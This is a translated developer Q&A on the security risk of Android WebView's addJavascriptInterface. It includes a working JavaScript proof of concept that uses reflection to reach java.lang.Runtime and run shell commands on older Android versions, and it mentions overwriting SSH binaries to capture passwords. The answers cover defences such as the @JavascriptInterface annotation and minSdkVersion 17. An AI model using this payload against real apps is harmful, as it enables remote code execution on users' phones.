[英]Android JavascriptInterface Security?
从文档: http : //developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29
"使用 addJavascriptInterface() 允许 JavaScript 控制您的应用程序。这可能是一个非常有用的功能或危险的安全问题。当 WebView 中的 HTML 不可信时(例如,部分或全部 HTML 由某些人或进程提供) ),然后攻击者可以注入 HTML 来执行您的代码和攻击者选择的任何代码。不要使用 addJavascriptInterface(),除非此 WebView 中的所有 HTML 都是您编写的。绑定的 Java 对象运行在另一个线程而不是在构造它的线程中。
假设我有一个只显示自定义对话框或开始下载到 SD 卡的界面。
这对任何网址使用都会不安全吗?
攻击页面如何使用该接口来运行攻击者选择的任何代码?
更新:根据文档:
此方法可用于允许 JavaScript 控制宿主应用程序。 这是一个强大的功能,但也给针对 API 级别 JELLY_BEAN 或更低级别的应用程序带来了安全风险,因为 JavaScript 可以使用反射来访问注入对象的公共字段。 在包含不受信任内容的 WebView 中使用此方法可能允许攻击者以意外方式操纵主机应用程序,使用主机应用程序的权限执行 Java 代码。 在可能包含不受信任内容的 WebView 中使用此方法时要格外小心。
有没有一个例子说明这种情况如何发生?
这只是说如果
DOWNLOADINTERFACE.dangerousfunction
是该类的公共方法,则可以调用它?
我根据下面的漏洞利用示例进行了测试,网站可以通过Android 4.4、4.1和3.2的接口访问系统。
但是,我在 Android 2.2 或 2.3 上没有看到此错误,该 hack 只会导致强制关闭。 除了不使用 JSInterface 之外,防止这种 hack 的最佳方法是什么? 我可以包含这样的虚假函数,以防止未经授权调用函数吗?
public Object getClass() {
//throw error, return self, or something?
}
或者使用ajax和拦截调用重写所有内容? 这会导致更好/更差的性能吗?
更新:
我成功地移除了 JS 接口,并通过为所有 window.(interface) 函数定义 window.open(specialurl) 命令并覆盖 shouldOverrideUrlLoading 中的那些来替换功能。 奇怪的是,在某些情况下必须使用 window.open(),否则 webview 会中断显示(比如 javascript 正在停止?),而在其他情况下,应该使用 location.replace 否则它只会显示“interface://specialdata "无法找到消息。
(我设置 settings.setJavaScriptCanOpenWindowsAutomatically(true) 所以 window.open 一直在 JS 中工作。)
任何人都知道用这种行为重写应用程序的最佳方法吗?
从javascript访问sdcard文件的示例:
<html>
<head>
<script>
function getContents(inputStream)
{
var contents = "";
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
b = inputStream.read();
}
return contents;
}
function execute(cmdArgs)
{
// go_back_js_interface_name is the registered java interface.
// it is an object, but is not iterable with for (var i in interface) {...}.
return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>
</head>
<body>
Test
</body>
</html>
因此,默认情况下,在 WebView 中运行的代码是沙盒化的——也就是说,它无法执行危险的本机内容,例如写入文件系统或访问地址簿等......
大多数 javaScript 都属于这一类,在显示自定义对话框的情况下,没有危险。
addJavaScriptInterface 允许您将本机手机内容暴露给 javascript,而危险在于,如果您没有正确编写 javaScriptInterface,您最终可能会将一个人的手机暴露于黑客的真正危险之下。
我认为使用示例最容易理解。
假设您编写了一个 javaScript 接口,您可以在其中从 javaScript 调用一个函数,该函数将文件写入 android 文件系统上的路径。 例如:
writeToFile(data, safepath);
javascript 全部来自您的服务器,但黑客以某种方式破坏了您的服务器并更改了加载到您的 WebView 中的 HTML/JavaScript 以运行:
writeToFile(dangerousdata, pathtosomeotherfile);
现在我还没有很好地检查 android 包的布局,不知道如果我是黑客,我想覆盖/更改哪个文件,但是当我在自己的 linux 机器上时,我们曾经与朋友进行过很少的黑客大战更年轻,你会使用这样的调用来覆盖像 SSH 二进制文件这样的东西 - 然后你就可以记录所有进入的密码。如果你可以用自己的方式覆盖或扩展原始 apk,你可以将这个人的手机变成您可以远程登录的服务器(由于应用程序是沙盒化的,我不确定这是否可行)。 即使您所能做的只是覆盖一个关键数据文件,您也可以让用户(在这种情况下是黑客)访问安全凭证、密码等各种东西。
多年前有一次,我们在 linux 机器上的 sendmail 进程中发现了一个漏洞,该漏洞允许我们启动 shell。 我们以邮件用户身份登录到我们的服务器。 作为邮件用户,您无能为力,但是一旦您在机器上,它就让您有机会四处寻找其他弱点。
所以你可以安全地做你想做的事,只要确保你让 JavaScript 界面非常简单和愚蠢——它只写入一个位置的一个文件,你写的数据可能是文本或无法获取的数据稍后解释。 对于对话框,我一直这样做 - 也不需要任何特殊的本机调用。 这是制作一个可以在用户安装您的应用程序后更新的页面的好方法。
希望这是有帮助的!
修复:
对于运行 Android 4.2 的应用程序,所有使用 JavascriptInterface 注释的公共方法都可以从 JavaScript 访问。
因此,如果您为SDK 版本 17 或更高版本开发应用程序,则必须将@JavascriptInterface 注释添加到您希望可用于 JavaScript 的任何方法中。
如果您不提供注释,则在 Android 4.2 或更高版本上运行时,您的网页将无法访问该方法。
要了解更多,请单击此处
为了避免addJavaScriptInterface()的安全问题,您需要设计原生代码和 JavaScript 之间的通信协议。
下面是通信协议的简单设计。
为了简化通信协议,您希望 Android 处理的每个函数调用都应遵循以下模式
/*
classname string
method name string
params jsonObject
*/
value=classname+":"+methodname+"?"+"params";
window.promt(value,"");
一个可以覆盖WebChromeClient的onJsPrompt()。
WebChromeClient.onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result){
//Parse className
//Parse methodName
//Parse params
//Create an instance of the target class by reflection. Call the target method with params.
//Return true if all params in message valid, otherwise return false.
}
这也是Cordova 插件的工作方式。 Cordova虽然比较复杂,但是在“JS to Native Call”中增加了回调函数,允许原生代码调用JavaScript
对于在 2020 年检查这一点的任何人来说,安全问题似乎只影响低于 17 (Android 4.2) 的 Android API。 所以,如果你的minSdkVersion
是17
或更高,那么你应该是安全的。
以下是参考:
https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/
如果链接的 SDK 是为低于 17 的 API 构建的,则存在漏洞——即使使用 SDK 的应用程序是为 API 17 或更高版本构建的。
https://7asecurity.com/blog/2019/09/hacking-mandated-apps-part-5-rce-in-webview-mstg-platform-7/
从 Android 2.4 到 Android 4.1 的 Android 版本受到一个漏洞的影响,该漏洞允许在 WebView 中注入 JavaScript 时远程执行代码。
https://arxiv.org/pdf/1912.12982.pdf (第 7 页)
谷歌后来在 Android 4.2 及更高版本上修复了这个弱点。 但是,如果应用将 targetSdkVersion 设置为低于 17 并调用此 API,则即使在 Android 4.2+ 上运行,系统仍会呈现易受攻击的 API 行为。 此类易受攻击的应用程序示例可在https://sites.google.com/site/androidrce/ 获得。
此安全漏洞适用于除 api 级别 >= 17 之外的所有本机接口。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.